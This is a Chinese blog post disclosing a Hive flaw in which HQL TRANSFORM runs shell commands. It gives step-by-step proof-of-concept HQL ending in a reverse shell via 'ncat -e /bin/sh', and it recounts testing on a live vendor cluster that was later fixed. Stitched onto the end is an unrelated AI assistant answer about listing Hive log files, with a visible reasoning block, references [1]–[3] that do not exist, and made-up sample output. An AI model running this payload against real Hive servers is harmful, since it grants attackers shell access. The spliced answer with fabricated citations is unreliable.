Hive任意命令/代码执行漏洞+渗透实例

本文介绍了Hive中一种潜在的安全漏洞,通过特定的HQL语句可以利用transform功能执行外部命令,导致服务器权限被获取。文章详细展示了如何复现该漏洞,并提到了已通知受影响的大公司及具体案例。

Author: kindle
Date: 2013-02-9

Hive是建立在 Hadoop 上的数据仓库基础构架。它提供了一系列的工具,可以用来进行数据提取转化加载(ETL),这是一种可以存储、查询和分析存储在 Hadoop 中的大规模数据的机制。Hive 定义了简单的类 SQL 查询语言,称为 QL,它允许熟悉 SQL 的用户查询数据。同时,这个语言也允许熟悉 MapReduce 开发者的开发自定义的 mapper 和 reducer 来处理内建的 mapper 和 reducer 无法完成的复杂的分析工作。

漏洞详情

HQL可以通过transform自定义Hive使用的 Map/Reduce 脚本,从而调用shell/python等语言,切默认皆可用,没提供禁用方式。导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限

测试代码

新建/root/test文件,内容是1(或者任意int型数字)
创建测试表
create table if not exists kindle(id int);
导入数据(这步很关键,没数据无法触发漏洞)
load data local inpath ‘/root/test’ INTO TABLE kindle;
通过transform来自定义hive使用的shell命令,反弹shell
select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;
删除测试表
drop table kindle;

 

漏洞状态

通知了部分大公司,尚未联系官方

 

————————————————————————————-邪恶的分割线————————————————————————————-

 

实战案例

测试Treasure Data集群(Hadoop-based Big Data as a Service on the Cloud | Treasure Data)

过程

未命名

未命名

 

修复状态

已经通知Treasure Data官方,修补好了,如下图官方的回复

QQ截图20130217093153

 

<think> 根据用户问题,用户想要查看$HIVE_HOME/logs/目录的内容。由于$HIVE_HOME是一个环境变量,我们需要先确定它的具体路径,然后使用ls命令查看该目录下的文件。 步骤: 1. 确认$HIVE_HOME环境变量:可以通过`echo $HIVE_HOME`命令查看该环境变量的值。如果未设置,可能需要根据Hive的安装位置手动确定。 2. 如果环境变量已设置,则直接使用`ls`命令查看日志目录:`ls $HIVE_HOME/logs` 3. 如果环境变量未设置,可以尝试在常见的安装路径下查找,或者通过Hive的配置文件(如hive-env.sh)来定位。 根据引用[2]中的内容,HIVE_HOME可能在配置文件中被设置(例如在hive-env.sh中设置了HIVE_HOME)。另外,引用[1]提到Hive日志的位置由hive-log4j.properties中的hive.log.dir指定,但用户直接询问的是$HIVE_HOME/logs/目录。 因此,查看$HIVE_HOME/logs/目录内容的命令是: ```bash ls $HIVE_HOME/logs ``` 注意:如果环境变量$HIVE_HOME未设置,则需要先设置它。可以通过以下方式之一: - 临时设置:在终端中执行`export HIVE_HOME=/path/to/hive`(路径根据实际安装位置) - 永久设置:编辑~/.bashrc或/etc/profile文件,添加`export HIVE_HOME=/path/to/hive`,然后执行`source ~/.bashrc`(或`source /etc/profile`) 如果用户不知道Hive的安装路径,可以通过以下方式查找: 1. 查找hive命令所在位置:`which hive`,然后根据返回的路径(例如/opt/modules/hive-0.13.1/bin/hive),那么HIVE_HOME可能是/opt/modules/hive-0.13.1。 2. 或者使用`find / -name "hive-env.sh" 2>/dev/null`命令查找配置文件,然后根据配置文件的位置推断HIVE_HOME。 综上所述,最直接的命令是: ```bash ls $HIVE_HOME/logs ``` 相关问题: 1. 如果$HIVE_HOME未设置,如何确定Hive的安装路径? 2. 如何查看Hive日志文件的内容? 3. 如何配置Hive的日志输出级别? </think> 要查看 `$HIVE_HOME/logs/` 目录的内容,请使用以下 Linux 命令: ```bash # 1. 确认 HIVE_HOME 环境变量是否已设置 echo $HIVE_HOME # 2. 列出日志目录内容 ls -l $HIVE_HOME/logs/ ``` ### 关键说明: 1. **环境变量检查**: `echo $HIVE_HOME` 用于验证环境变量是否已正确配置。如果返回空值,说明需要先配置环境变量(参考引用[3]中配置方法)[^3]。 2. **日志目录内容**: `ls -l $HIVE_HOME/logs/` 会显示日志目录下所有文件的详细信息,包括: - 文件名(如 `hive.log`,参考引用[1])[^1] - 文件大小 - 修改时间 - 权限信息 ### 操作示例: ```bash # 假设 HIVE_HOME 已设置为 /opt/modules/hive-0.13.1 $ ls -l /opt/modules/hive-0.13.1/logs/ total 1024 -rw-r--r-- 1 hive hive 12345 Jun 10 10:30 hive.log -rw-r--r-- 1 hive hive 56789 Jun 10 09:15 hive-error.log -rw-r--r-- 1 hive hive 1024 Jun 9 14:20 hiveserver2.log ``` ### 可能出现的问题: - 若提示 `No such file or directory`: 1. 检查 HIVE_HOME 是否正确设置:`echo $HIVE_HOME` 2. 检查路径是否存在:`ls $HIVE_HOME` 3. 确认日志目录位置(有些配置可能在 `$HIVE_CONF_DIR/logs`,参考引用[2])[^2]
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值